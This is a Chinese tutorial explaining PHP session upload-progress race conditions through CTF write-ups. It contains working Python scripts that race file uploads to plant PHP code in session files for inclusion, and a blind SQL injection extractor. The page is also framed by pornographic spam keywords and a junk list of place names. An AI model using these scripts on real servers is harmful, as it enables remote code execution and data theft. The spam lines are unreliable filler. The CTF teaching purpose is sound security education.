最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP Session條件競爭超詳細講解

 更新時間:2022年12月14日 17:09:43   作者:偶爾躲躲烏云334  
這篇文章主要介紹了PHP Session條件競爭,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習吧

PHP SESSION 的存儲

Session會話存儲方式

PHP將session以文件的形式存儲服務器的文件中,session.save_path來控制

默認路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID 

session文件默認是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段

但是在賽題中大多數都是/tmp目錄下,需要php.ini力sesion.auto_start設置為1,然后修改目錄

session.auto_start:如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執(zhí)行session_start()。但默認情況下,也是通常情況下,這個選項都是默認關閉的。

session.upload_progress.cleanup = on:表示當文件上傳結束后,php將會立即清空對應session文件中的內容。該選項默認開啟

session.use_strict_mode:默認情況下,該選項的值是0,此時用戶可以自己定義Session ID。

使用 Python 實現創(chuàng)建 Session 文件的過程:

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid} //用來sesssion中的文件名  sess_whoami
    )
with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

這道題是文件包含,已經包含過了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過

/proc/self指向當前進程的/proc/pid/

/proc/self/root/是指向/的符號鏈接

這道題也可以 用條件競爭進行,

import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
 while True:
  f = io.BytesIO(b'a' * 1024 * 50)
  session.post(
  host,
  data={
 # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
  files={
  "file":('a.txt', f)},
  cookies={
   'PHPSESSID':sessid}//改名
    )
def READ(session):
 while True:
   response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路徑
# print(response.text)
   if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
      print('[+++]retry')
   else:
      print(response.text)
      sys.exit(0)
with requests.session() as session:
  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程
  t1.daemon = True  //相當完成任務直接結束,不用等線程全部結束
  t1.start()
  READ(session)

線程結束后,想在網頁獲得php壞境頁面可是找不到,

希望有師傅解答一下,然后這樣就非常局限,

[PwnThyBytes 2019]Baby_SQL

訪問源碼,獲得source.zip

打開后發(fā)現index.php

<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

都要經過最后的過濾,然后通過傳參p進行包含templates目錄下面的文件

login.php

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

發(fā)現就login.php里面沒有過濾,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出,前面的為true才執(zhí)行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執(zhí)行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執(zhí)行$con->close(),然后這個執(zhí)行返回true的話就會執(zhí)行die(“Not allowed!”);

所以如果我們要直接訪問login.php進行sql注入的話,還需要帶上一個session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標服務器上初始化一個session,然后便可以繞過index.php中的檢測,直接訪問login.php進行sql注入了。

import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//這個templates是因為login.php在這個目錄下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})通過這個接口,burp就可以抓包到
print(a.text)

然后對username進行注入,發(fā)現是用"進行閉合,然后回顯,可以用盲注實現

<meta http-equiv="refresh" content="0; url=?p=home" />

import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while (low < high):
        time.sleep(0.06)
        #payload_flag ={'username': "test\" or (ascii(substr((select 
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
        payload_flag = {
            'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"})
 
        print(payload_flag)
        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid +1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid==32 ):
        break
    flag +=chr(mid)
    print(flag)
print(flag)

到此這篇關于PHP Session條件競爭超詳細講解的文章就介紹到這了,更多相關PHP Session內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • PHP 數字左側自動補0

    PHP 數字左側自動補0

    舉例來說:員工的工號 X001 雖然 MySQL 本身的字段設定成 zerofill 的屬性時,會將不足位數的部份補上0,但是這個功能只能用在數字的字段上面。 所以必要的時候只好靠PHP來進行了。
    2008-03-03
  • PHP實現的迪科斯徹(Dijkstra)最短路徑算法實例

    PHP實現的迪科斯徹(Dijkstra)最短路徑算法實例

    這篇文章主要介紹了PHP實現的迪科斯徹(Dijkstra)最短路徑算法,簡單描述了迪科斯徹(Dijkstra)最短路徑算法的概念、功能并結合具體實例形式分析了php實現迪科斯徹(Dijkstra)最短路徑算法的相關步驟與操作技巧,需要的朋友可以參考下
    2017-09-09
  • php實現的二叉樹遍歷算法示例

    php實現的二叉樹遍歷算法示例

    這篇文章主要介紹了php實現的二叉樹遍歷算法,結合具體實例形式分析了php針對二叉樹的常用前序、中序及后序遍歷算法實現技巧,需要的朋友可以參考下
    2017-06-06
  • PHP實現的分解質因數操作示例

    PHP實現的分解質因數操作示例

    這篇文章主要介紹了PHP實現的分解質因數操作,結合實例形式分析了php實現分解質因數的相關原理、步驟與操作技巧,需要的朋友可以參考下
    2018-08-08
  • 深入解析WordPress中加載模板的get_template_part函數

    深入解析WordPress中加載模板的get_template_part函數

    這篇文章主要介紹了WordPress中加載模板的get_template_part函數,其中重點講解了其函數鉤子的使用,需要的朋友可以參考下
    2016-01-01
  • PHP基于MySQL數據庫實現對象持久層的方法

    PHP基于MySQL數據庫實現對象持久層的方法

    這篇文章主要介紹了PHP基于MySQL數據庫實現對象持久層的方法,實例分析了php實現持久層的相關技巧,需要的朋友可以參考下
    2015-06-06
  • php中substr()函數參數說明及用法實例

    php中substr()函數參數說明及用法實例

    這篇文章主要介紹了php中substr()函數參數說明及用法,以實例形式深入分析了substr()函數中的各個參數的含義,并舉例說明了其對應的用法,需要的朋友可以參考下
    2014-11-11
  • CI框架中通過hook的方式實現簡單的權限控制

    CI框架中通過hook的方式實現簡單的權限控制

    這篇文章主要介紹了CI框架中通過hook的方式實現簡單的權限控制,需要的朋友可以參考下
    2015-01-01
  • php 從數據庫提取二進制圖片的處理代碼

    php 從數據庫提取二進制圖片的處理代碼

    形式上類似UCH 只是存儲方式不一樣 本人比較愚鈍 這個問題困惑了我半天 希望對有同樣問題的phper有所幫助 高手們別見笑!
    2009-09-09
  • PHP排序算法系列之歸并排序詳解

    PHP排序算法系列之歸并排序詳解

    這篇文章主要為大家詳細介紹了PHP排序算法系列之歸并排序的相關資料,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-01-01

最新評論

杭州市| 晋中市| 始兴县| 甘谷县| 泰顺县| 卓资县| 布尔津县| 唐海县| 大宁县| 汾西县| 屏山县| 丰顺县| 江山市| 乌苏市| 鄂州市| 磐石市| 临洮县| 蓝田县| 垫江县| 和平区| 菏泽市| 平顺县| 井研县| 普洱| 山东省| 汝城县| 嵊泗县| 小金县| 会宁县| 岳阳县| 西宁市| 阿勒泰市| 巨野县| 子洲县| 孝义市| 商都县| 泰兴市| 漳州市| 重庆市| 察隅县| 镇巴县|